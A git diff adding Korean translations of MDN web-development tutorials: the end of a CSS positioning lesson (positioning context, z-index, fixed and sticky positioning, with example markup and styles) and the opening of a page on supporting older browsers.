+<p><strong>주석</strong>: 그렇습니다. 여백이 위치잡기한 요소에 여전히 영향을 미칩니다. 그러나 마진 축소 영향은 업습니다.</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: 당신은 <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/3_absolute-positioning.html">3_absolute-positioning.html</a></code>에서 예제를 확인할 수 있습니다(<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/3_absolute-positioning.html">소스 코드를 보세요</a>).</p>
+</div>
+
+<h3 id="위치잡기_상황">위치잡기 상황</h3>
+
+<p>어떤 요소가 절대 위치잡기의 기준이 되는 "콘테이너 요소"입니까? 이것은 위치잡기 요소의 조상에 지정된 위치 속성의 여하에 따라 많이 달라집니다. (See <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Containing_block#Identifying_the_containing_block">콘테이너 블록 식별하기</a>).</p>
+
+<p>조상 요소가 명시적으로 정의된 위치 속성을 가지고 있지 않으면 초깃값으로 모든 조상 요소에 정적 위치가 부여됩니다. 그에 따른 결과, 절대적 위치잡기한 요소는 <strong>initial containing block</strong>에 포함되게 됩니다. 초기 콘테이너 블록은 브라우저 뷰포트 크기의 용적을 가지며, 자신도 {{htmlelement("html")}} 요소를 포함하는 블록입니다. 간단히 말해서, 절대적 위치잡기한 요소는 {{htmlelement("html")}} 요소의 외부에 포함되어 초기 뷰포트 기준과 비례한 곳에 위치하게 됩니다.</p>
+
+<p>위치잡기한 요소는 에이치티엠엘 소스의 {{htmlelement("body")}} 안에 중첩되지만 최종 조판에서는 페이지의 가장자리 상단과 왼쪽에서 30px 떨어져 있습니다. 우리는 요소의 절대적 위치잡기에서 어떤 요소에 비례해 위치잡기할지 기준이 되는 <strong>positioning context</strong>(위치잡기 상황)을 변경할 수 있습니다. 이것은 조상 요소 중 하나를 기준으로 위치잡기 설정이 이뤄집니다. 다시말해 요소의 내부에 중첩된 요소 중 하나가 기준이 됩니다(내부에 중첩되지 않은 요소를 기준삼아 비례적으로 위치시킬 수 없습니다). 이를 증명하기 위해 다음과 같은 선언을 <code>body</code> 규칙에 추가하십시요:</p>
+
+<pre>position: relative;</pre>
+
+<p>이로써 다음과 같은 결과가 나와야 합니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;위치잡기 상황&lt;/h1&gt;
+
+&lt;p&gt;나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에 자리합니다.&lt;/p&gt;
+
+&lt;p class="positioned"&gt;이제 나는 &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; 요소가 아닌 &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; 요소를 기준으로 비례하여 절대적 위치잡기합니다.&lt;/p&gt;
+
+&lt;p&gt;우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로 구분됩니다. 두게의 여백이 아니라.&lt;/p&gt;
+
+&lt;p&gt;인라인 요소 &lt;span&gt;이 것과 같은&lt;/span&gt; 그리고 &lt;span&gt;이것이&lt;/span&gt; 차례로 같은 라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게 됩니다. 인라인 요소가 대열이탈할 경우 &lt;span&gt;(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로 접혀들어갑니다.)&lt;/span&gt;, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는 것처럼: &lt;img src="https://mdn.mozillademos.org/files/13360/long.jpg"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+  position: relative;
+}
+
+p {
+  background: aqua;
+  border: 3px solid blue;
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: red;
+  border: 1px solid black;
+}
+
+.positioned {
+  position: absolute;
+  background: yellow;
+  top: 30px;
+  left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('위치잡기_상황', '100%', 420) }}</p>
+
+<p>위치잡기한 요소는 이제 기준이 되는 {{htmlelement("body")}} 요소와 비례한 위치에 놓이게 된다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 당신은 이 시점에 예제의 실제 구현 장면을 <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/4_positioning-context.html">4_positioning-context.html</a></code>에서 볼 수 있습니다(<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/4_positioning-context.html">소스 코드 보기</a>).</p>
+</div>
+
+<h3 id="z-인덱스_소개">z-인덱스 소개</h3>
+
+<p>이 모든 절대적 위치잡기는 제법 재미나지만, 아직 고려하지 않은 또 다른 것이 있습니다. 요소가 겹치기 시작하면 어떤 요소가 다른 요소 위에 나타나는지 결정하는 기준은 무엇입니까? 지금까지 우리가 본 예제에서, 우리는 위치잡기 상황 속에 단 하나의 위치잡기할 요소만 주어졌습니다. 그리고 그것은 상위에 나타납니다. 왜냐면 위치잡기 요소가 비 위치잡기 요소보다 우위를 점하기 때문입니다. 하나 이상의 요소가 있을 때는 어떨까요?</p>
+
+<p>다음을 씨에스에스에 추가해 첫 단락도 절대적 위치잡기 대상으로 만들어 봅시다.</p>
+
+<pre>p:nth-of-type(1) {
+  position: absolute;
+  background: lime;
+  top: 10px;
+  right: 30px;
+}</pre>
+
+<p>이 시점에서 당신이 보게될 것은 첫 번째 단락이 녹색으로 칠해지고, 문서 대열을 벗어나 원래 위치에서 약간 위에 자리를 잡습니다. 또한, 두 개의 단락이 겹치는 원래의 <code>.positioned</code> 클래스가 지정된 단락 아래에 겹겹이 포개집니다. 이렇게 되는 까닭은 <code>.positioned</code> 클래스로 지정된 단락이 소스 순서상에 두 번째 단락이고 소스 순서상에 뒤에 있는 위치잡기한 요소가 소스 순서상 앞서는 위치잡기한 요소보다 우위를 점하기 때문입니다.</p>
+
+<p>스택 순서를 변경할 수 있습니까? 네, {{cssxref("z-index")}} 속성을 사용하면 가능합니다. z-인덱스는 z축을 가리킵니다. 당신은 앞서 배경 이미지와 그림자 오프셋을 떨어뜨리는 것과 같은 사물의 위치를 파악하는 방법을 찾는 과정에서 웹 페이지를 수평(x축)과 수직(y축) 좌표로 논의한 학습 과정을 기억하실 겁니다. (0,0)은 페이지(또는 요소)의 상단 왼쪽에 있으며, x-축 및 y-축은 페이지의 오른쪽 및 아래쪽으로 진행합니다(가로쓰기 언어의 경우를 말합니다).</p>
+
+<p>웹 페이지에는 z축이 있습니다. 스크린 표면으로부터 진행하는 가상 라인, 즉 사용자 얼굴 쪽으로 향하는(당신이 화면 위에 놓고 싶은 것을 망론한다). {{cssxref("z-index")}} 값은 위치잡기한 요소가 해당 축상에 놓일 경우에 영향을 미칩니다. 양수 값은 스택 상단으로 이동하고 음수 값은 스택 아래로 이동합니다(역주: 상단으로 겹겹이 쌓이거나 하단으로 겹겹이 쌓여진다) 기본값으로 위치잡기한 요소는 모두 <code>z-index</code>가 <code>auto</code> 값을 가지며, 이는 사실상 0입니다.</p>
+
+<p>스택 순서를 변경하려면 다음 선언을 <code>p:nth-of-type(1)</code> rule: 규칙에 추가하십시오.</p>
+
+<pre>z-index: 1;</pre>
+
+<p>이제 녹색 단락이 상단에 놓여진 완성된 예가 보여야 합니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;z-인덱스&lt;/h1&gt;
+
+&lt;p&gt;나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에 자리합니다.&lt;/p&gt;
+
+&lt;p class="positioned"&gt;이제 나는 &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; 요소가 아닌 &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; 요소를 기준으로 비례하여 절대적 위치잡기합니다.&lt;/p&gt;
+
+&lt;p&gt;우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로 구분됩니다. 두게의 여백이 아니라.&lt;/p&gt;
+
+&lt;p&gt;인라인 요소 &lt;span&gt;이 것과 같은&lt;/span&gt; 그리고 &lt;span&gt;이것이&lt;/span&gt; 차례로 같은 라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게 됩니다. 인라인 요소가 대열이탈할 경우 &lt;span&gt;(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로 접혀들어갑니다.)&lt;/span&gt;, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는 것처럼: &lt;img src="https://mdn.mozillademos.org/files/13360/long.jpg"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+  position: relative;
+}
+
+p {
+  background: aqua;
+  border: 3px solid blue;
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: red;
+  border: 1px solid black;
+}
+
+.positioned {
+  position: absolute;
+  background: yellow;
+  top: 30px;
+  left: 30px;
+}
+
+p:nth-of-type(1) {
+  position: absolute;
+  background: lime;
+  top: 10px;
+  right: 30px;
+  z-index: 1;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('z-인덱스_소개', '100%', 400) }}</p>
+
+<p>z-인덱스는 단위가 없는 인덱스 값만 허용한다는 점에 유의하자; 하나의 요소가 Z축 위로 23픽셀이 되도록 지정할 수 없습니다. 그런 식으론 작동하지 않습니다. 높은 값의 요소는 낮은 값 요소의 위로 간니다. 그러니 당신이 어떤 값을 사용할 지에 달려있습니다. 2와 3을 사용하면 300과 40000과 같은 효과를 얻을 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 이 시점에 예제의 실제 구현 장면을 <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/5_z-index.html">5_z-index.html</a></code>에서 볼 수 있습니다(<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/5_z-index.html">소스 코드 보기</a>).</p>
+</div>
+
+<h3 id="고정_위치잡기">고정 위치잡기</h3>
+
+<p>이제 고정 위치잡기를 살펴보자. 이것은 절대 위치잡기와 정확히 같은 방식으로 작동합니다.단 한 가지 핵심 차이점이 있습니다. 절대 위치잡기는 {{htmlelement("html")}} 요소나 가까운 조상 요소를 기준으로 비례해 요소를 고정시키지만, 고정 위치잡기는 브라우저 뷰 포트 자체를 기준으로 비례해 요소를 고정합니다. 즉, 탐색 메뉴가 계속 자리를 지키는 것과 같이 제자리에 고정된 유용한 사용자 인터페이스 항목을 생성할 수 있습니다.</p>
+
+<p>우리가 무슨 얘기를 하는지 보여주기 위해 간단한 예를 들어봅시다. 먼저 씨에스에스에서 기존 <code>p:nth-of-type(1)</code>과 <code>.positioned</code> 규칙을 삭제합니다.</p>
+
+<p>이제 <code>position: relative;</code> 선언을 지우고, 다음과 같이 고정 높이를 추가하는 규칙을 <code>body</code> 규칙에 업데이트합니다:</p>
+
+<pre>body {
+  width: 500px;
+  height: 1400px;
+  margin: 0 auto;
+}</pre>
+
+<p>이제 우리는 {{htmlelement("h1")}} 요소에 <code>position: fixed;</code>를 부여하고, 그걸 뷰 포트의 상단 중앙에 놓게 합니다. 다음 규칙을 씨에스에스에 추가하세요.</p>
+
+<pre>h1 {
+  position: fixed;
+  top: 0;
+  width: 500px;
+  margin: 0 auto;
+  background: white;
+  padding: 10px;
+}</pre>
+
+<p>화면 상단에 고정시키려면 <code>top: 0;</code>이 요구됩니다. 그런 다음 제목에 콘텐츠 열과 동일한 너비를 부여하고 콘텐츠를 중앙에 놓기 위해 오래됐지만, 신뢰감을 주는 <code>margin: 0 auto;</code>를 사용합니다. 그런 다음 제목에 흰색 배경과 패딩을 부여해 제목 아래에 내용이 보이지 않도록 합니다.</p>
+
+<p>지금 저장하고 새로고침하면 제목이 고정되는 사소하지만, 재미난 효과를 볼 수 있으며, 스크롤 막대를 위로 올리면 콘텐츠가 드러나고 아래로 내리면 제목 밑으로 콘텐츠가 사라지는 것처럼 보입니다. 하지만 우리는 이것을 더 개선할 수 있습니다. 현재 일부 콘텐츠가 시작부터 제목에 밑에 깔려있는 부분 말입니다. 위치잡기한 제목이 문서 대열상에서 모습을 드러내지 않기 때문입니다. 그래서 나머지 콘텐츠가 맨 위로 이동했습니다. 우리는 올라간 것을 조금 아래로 이동시켜야 합니다. 우리는 그걸 첫 번째 단락에 최상위 여백을 설정해서 달성할 수 있습니다. 지금 다음 내용을 추가하세요:</p>
+
+<pre>p:nth-of-type(1) {
+  margin-top: 60px;
+}</pre>
+
+<p>당신은 이제 완성된 예제를 볼 수 있어야 합니다:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;고정 위치잡기&lt;/h1&gt;
+
+&lt;p&gt;나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에 자리합니다.&lt;/p&gt;
+
+&lt;p class="positioned"&gt;나는 더 이상 특별한 위치를 차지하지 않습니다...&lt;/p&gt;
+
+&lt;p&gt;우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로 구분됩니다. 두게의 여백이 아니라.&lt;/p&gt;
+
+&lt;p&gt;인라인 요소 &lt;span&gt;이 것과 같은&lt;/span&gt; 그리고 &lt;span&gt;이것이&lt;/span&gt; 차례로 같은 라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게 됩니다. 인라인 요소가 대열이탈할 경우 &lt;span&gt;(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로 접혀들어갑니다.)&lt;/span&gt;, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는 것처럼: &lt;img src="https://mdn.mozillademos.org/files/13360/long.jpg"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  height: 1400px;
+  margin: 0 auto;
+}
+
+p {
+  background: aqua;
+  border: 3px solid blue;
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: red;
+  border: 1px solid black;
+}
+
+h1 {
+  position: fixed;
+  top: 0px;
+  width: 500px;
+  margin: 0 auto;
+  background: white;
+  padding: 10px;
+}
+
+p:nth-of-type(1) {
+  margin-top: 60px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('고정_위치잡기', '100%', 400) }}</p>
+
+<div class="note">
+<p><strong>참고</strong>: 당신은 이 시점에 예제의 실제 구현 장면을 <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/6_fixed-positioning.html">6_fixed-positioning.html</a></code>에서 볼 수 있습니다 (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/6_fixed-positioning.html">소스 코드는 여기서 보세요</a>).</p>
+</div>
+
+<h3 id="position_sticky">position: sticky</h3>
+
+<p>이용할 수 있는 <code>position: sticky</code>라고 불리우는 또 다른 위치잡기 값이 있습니다. 이것은 다른 위치잡기보다 다소 새로운 것입니다. 이것은 기본적으로 상대 위치잡기와 고정 위치잡기가 혼합된 하이브리드로서, 위치잡기 요소가 특정 임계점에(예로 뷰포트의 상단으로부터 10px) 스크롤될 때까지 상대 위치잡기처럼 행동할 수 있다가 그 뒤에 위치가 고정됩니다. 예를 들어, 탐색 막대가 특정 지점까지 페이지와 함께 스크롤한 다음 페이지 상단에 흡착되도록 사용할 수 있습니다.</p>
+
+<div id="흡착_1">
+<div class="hidden">
+<h6 id="흡착_위치잡기_예제">흡착 위치잡기 예제</h6>
+
+<pre class="brush: html">&lt;h1&gt;흡착 위치잡기&lt;/h1&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;div class="positioned"&gt;흡착&lt;/div&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;       </pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+.positioned {
+  background: rgba(255,84,104,.3);
+  border: 2px solid rgb(255,84,104);
+  padding: 10px;
+  margin: 10px;
+  border-radius: 5px;
+}</pre>
+</div>
+
+<pre class="brush: css">.positioned {
+  position: sticky;
+  top: 30px;
+  left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('흡착_1', '100%', 200) }}</p>
+
+<p><code>position: sticky</code>의 일반적 사용례기도 하고 흥미로운 사용례는 스크롤링하다 제목에 도달하면 서로 다른 제목이 페이지의 맨 위에 흡착되는 색인 페이지를 만드는 것입니다. 이런 사례에 대한 마크업은 다음과 같은 모습일 수 있습니다:</p>
+
+<pre class="brush: html">&lt;h1&gt;흡착 위치잡기&lt;/h1&gt;
+
+&lt;dl&gt;
+    &lt;dt&gt;A&lt;/dt&gt;
+    &lt;dd&gt;Apple&lt;/dd&gt;
+    &lt;dd&gt;Ant&lt;/dd&gt;
+    &lt;dd&gt;Altimeter&lt;/dd&gt;
+    &lt;dd&gt;Airplane&lt;/dd&gt;
+    &lt;dt&gt;B&lt;/dt&gt;
+    &lt;dd&gt;Bird&lt;/dd&gt;
+    &lt;dd&gt;Buzzard&lt;/dd&gt;
+    &lt;dd&gt;Bee&lt;/dd&gt;
+    &lt;dd&gt;Banana&lt;/dd&gt;
+    &lt;dd&gt;Beanstalk&lt;/dd&gt;
+    &lt;dt&gt;C&lt;/dt&gt;
+    &lt;dd&gt;Calculator&lt;/dd&gt;
+    &lt;dd&gt;Cane&lt;/dd&gt;
+    &lt;dd&gt;Camera&lt;/dd&gt;
+    &lt;dd&gt;Camel&lt;/dd&gt;
+    &lt;dt&gt;D&lt;/dt&gt;
+    &lt;dd&gt;Duck&lt;/dd&gt;
+    &lt;dd&gt;Dime&lt;/dd&gt;
+    &lt;dd&gt;Dipstick&lt;/dd&gt;
+    &lt;dd&gt;Drone&lt;/dd&gt;
+    &lt;dt&gt;E&lt;/dt&gt;
+    &lt;dd&gt;Egg&lt;/dd&gt;
+    &lt;dd&gt;Elephant&lt;/dd&gt;
+    &lt;dd&gt;Egret&lt;/dd&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>씨에스에스는 다음과 같이 보일 수 있다. 일반 대열에서는 {{htmlelement("dt")}} 요소가 콘텐츠와 함께 스크롤됩니다. {{cssxref("top")}} 값이 0이고 {{htmlelement("dt")}} 요소에 <code>position: sticky</code>를 추가하면 이를 지원하는 브라우저는 그 위치(0)에 도달할 때 머리글을 브라우저 뷰포트 상단에 흡착시킵니다. 그 후 각각의 후속 머리글은 자신의 위치까지 스크롤하는 시점에 이전 머리글을 교체합니다.</p>
+
+<pre class="brush: css">dt {
+  background-color: black;
+  color: white;
+  padding: 10px;
+  position: sticky;
+  top: 0;
+  left: 0;
+  margin: 1em 0;
+}
+</pre>
+
+<div id="흡착_2">
+<div class="hidden">
+<pre class="brush: css">body {
+  width: 500px;
+  height: 1400px;
+  margin: 0 auto;
+}
+
+dt {
+  background-color: black;
+  color: white;
+  padding: 10px;
+  position: sticky;
+  top: 0;
+  left: 0;
+  margin: 1em 0;
+}
+</pre>
+
+<pre class="brush: html">&lt;h1&gt;흡착 위치잡기&lt;/h1&gt;
+
+&lt;dl&gt;
+    &lt;dt&gt;A&lt;/dt&gt;
+    &lt;dd&gt;Apple&lt;/dd&gt;
+    &lt;dd&gt;Ant&lt;/dd&gt;
+    &lt;dd&gt;Altimeter&lt;/dd&gt;
+    &lt;dd&gt;Airplane&lt;/dd&gt;
+    &lt;dt&gt;B&lt;/dt&gt;
+    &lt;dd&gt;Bird&lt;/dd&gt;
+    &lt;dd&gt;Buzzard&lt;/dd&gt;
+    &lt;dd&gt;Bee&lt;/dd&gt;
+    &lt;dd&gt;Banana&lt;/dd&gt;
+    &lt;dd&gt;Beanstalk&lt;/dd&gt;
+    &lt;dt&gt;C&lt;/dt&gt;
+    &lt;dd&gt;Calculator&lt;/dd&gt;
+    &lt;dd&gt;Cane&lt;/dd&gt;
+    &lt;dd&gt;Camera&lt;/dd&gt;
+    &lt;dd&gt;Camel&lt;/dd&gt;
+    &lt;dt&gt;D&lt;/dt&gt;
+    &lt;dd&gt;Duck&lt;/dd&gt;
+    &lt;dd&gt;Dime&lt;/dd&gt;
+    &lt;dd&gt;Dipstick&lt;/dd&gt;
+    &lt;dd&gt;Drone&lt;/dd&gt;
+    &lt;dt&gt;E&lt;/dt&gt;
+    &lt;dd&gt;Egg&lt;/dd&gt;
+    &lt;dd&gt;Elephant&lt;/dd&gt;
+    &lt;dd&gt;Egret&lt;/dd&gt;
+&lt;/dl&gt;
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('흡착_2', '100%', 200) }}</p>
+
+<div class="note">
+<p><strong>참고</strong>: 당신은 이 시점에 예제의 실제 구현 장면을 <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/7_sticky-positioning.html">7_sticky-positioning.html</a></code>에서 볼 수 있습니다(<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/7_sticky-positioning.html">소스 코드는 여기서 보세요</a>).</p>
+</div>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>기본적인 위치잡기를 가지고 놀이삼아 시험해 보니 재미있었을 것이다; 비록 이것이 완전체 조판에 사용할 수 있는 방법은 아니지만, 여러분이 보았다시피 이것이 알맞은 용도로 사용될 수 있는 많은 작업들이 있다.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="참조_항목">참조 항목</h2>
+
+<ul>
+ <li>{{cssxref("position")}} 속성 참조.</li>
+ <li>좀 더 유용한 구상을 위한 <a href="/ko/docs/Learn/CSS/CSS_layout/Practical_positioning_examples">실용적인 위치잡기 사례</a></li>
+</ul>
+
+<h2 id="이번_단위에는">이번 단위에는</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Introduction">씨에스에스 조판 소개</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/일반_흐름">일반 대열</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Flexbox">가변상자</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Grids">격자</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Floats">부동체</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/위치잡기">위치잡기</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">다단 조판</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/반응형_디자인">반응형 디자인</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서">미디어 쿼리 초보자 안내서</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/레거시_조판_메서드">레거시 조판 메서드</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EC%9D%B4%EC%A0%84_%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80_%EC%A7%80%EC%9B%90">이전 브라우저 지원</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">조판 이해도 필수 평가</a></li>
+</ul>
diff --git a/files/ko/learn/css/css_layout/이전_브라우저_지원/index.html b/files/ko/learn/css/css_layout/이전_브라우저_지원/index.html
new file mode 100644
index 0000000000..07910a4d26
--- /dev/null
+++ b/files/ko/learn/css/css_layout/이전_브라우저_지원/index.html
@@ -0,0 +1,248 @@
+---
+title: 이전 브라우저 지원
+slug: Learn/CSS/CSS_layout/이전_브라우저_지원
+tags:
+  - 가변상자
+  - 격자
+  - 기능 쿼리
+  - 레거시
+  - 부동체
+  - 씨에스에스
+  - 안내서
+  - 조판
+  - 초보자
+  - 학습
+translation_of: Learn/CSS/CSS_layout/Supporting_Older_Browsers
+---
+<div>{{LearnSidebar}}</div>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}}</p>
+
+<p class="summary">이 모듈에서는 Flexbox 및 Grid를 디자인의 기본 레이아웃 메서드로 사용할 것을 권고합니다. 그러나 당신이 사용한 메서드를 지원하지 않는 브라우저나 이전 브라우저를 사용해 당신의 사이트를 방문하는 사람들이 있을 겁니다. 이런 일은 웹상에서 항상 있는 일입니다. 즉 새로운 기능이 개발됨에 따라 서로 다른 브라우저가 서로 다른 것들의 우선 순위를 정합니다. 이 문서는 구식 기술의 사용자들을 외면하지 않고도 최신 웹 기술을 사용하는 방법에 대해 설명합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선결 사항:</th>
+   <td>HTML 기본 (<a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 입문</a> 학습), CSS의 작동 방식 <a href="/ko/docs/Learn/CSS/Introduction_to_CSS">CSS 입문 </a> 및 (<a href="/ko/docs/Learn/CSS/Styling_boxes">상자 양식 지정</a> 학습)</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>여러분이 사용하려는 기능을 지원하지 않을 수있는 이전 브라우저에서 레이아웃을 지원하는 방법을 파악합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="당신의_사이트_브라우저_지향은">당신의 사이트 브라우저 지향은?</h2>
+
+<p>모든 웹사이트는 공략 대상에 따라 달라집니다. 접근 방식을 결정하기 전에 이전 브라우저를 사용하여 사이트를 방문하는 방문자 수를 확인하십시오. 사람들이 사용중인 기술을 알려주는 분석 기능(예: Google analytics)을 이용할 수 있고, 추가 및 교체할 기존 웹 사이트가 있는 경우 이는 간단한 작업입니다. 당신이 분석툴이 없거나, 이번이 완전히 새로운 사이트 개설이라면 <a href="http://gs.statcounter.com/">Statcounter</a>같은 위치별로 필터링된 통계를 제공할 수 있는 사이트가 있습니다.</p>
+
+<p>또한 사람들이 여러분의 사이트를 이용하는 방식이나 장치 유형을 고려해야만 합니다. 예를 들어 모바일 장치 이용 방문자가 평균치를 웃돌거라는 예상을 할 수 있습니다. 접근성 및 보조 기술을 사용하는 사람들은 항상 고려해야하지만 일부 사이트에서는 그 점이 더욱 중요할 수 있습니다. 필자의 경험에 따르면 개발자들은 종종 이전 버전의 인터넷 익스플로러 사용자 1%에 대해 매우 걱정하는 반면, 더 많은 사용자 층인 내게 필요한 옵션 사용자에 대해선 전혀 고려하지 않습니다.</p>
+
+<h2 id="당신이_사용하려는_기능에_대한_지원은_어떻습니까">당신이 사용하려는 기능에 대한 지원은 어떻습니까?</h2>
+
+<p>사이트에 들어오는 브라우저를 알면, 해당 대상에 사용하고 싶은 기술을 평가할 수 있고, 그리고 그 기술을 이용할 수 없는 방문객들에게 얼마나 쉽게 대안을 제공할 수 있는지 진단할 수 있습니다. 우리는 CSS 속성을 상세히 설명하는 각 페이지에 대한 브라우저 호환성 정보를 모질라 개발자 네트워크에서 제공함으로써 쉽게 사용할 수 있도록 노력하고 있습니다. 예를 들어, {{cssxref("grid-template-columns")}} 페이지를 살펴보십시오. 이 페이지의 맨 아래에는 이 속성을 지원하기 시작한 버전과 함께 주요 브라우저가 나열된 표가 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16047/browser-table.png" style="height: 1178px; width: 2102px;"></p>
+
+<p>기능이 얼마나 잘 지원되는지 확인하는 또 다른 일반적인 방법은 <a href="https://caniuse.com/">Can I Use</a> 웹 사이트입니다. 이 사이트에는 대부분의 웹 플랫폼 기능이 브라우저 지원 상태에 대한 정보와 함께 나열됩니다. 위치별로 사용 통계를 볼 수 있습니다. 주로 특정 지역의 사용자가있는 사이트에서 작업하는 경우 유용합니다. Google 웹 로그 분석 계정을 연결하여 사용자 데이터를 기반으로 분석할 수도 있습니다.</p>
+
+<p>사용자의 브라우저가 보유한 기술과 당신이 사용하려는 것에 대한 지원을 이해하면 당신은 좋은 상황에서 모든 결정을 내리고 모든 사용자를 가장 잘 지원할 수있는 방법을 알 수 있습니다.</p>
+
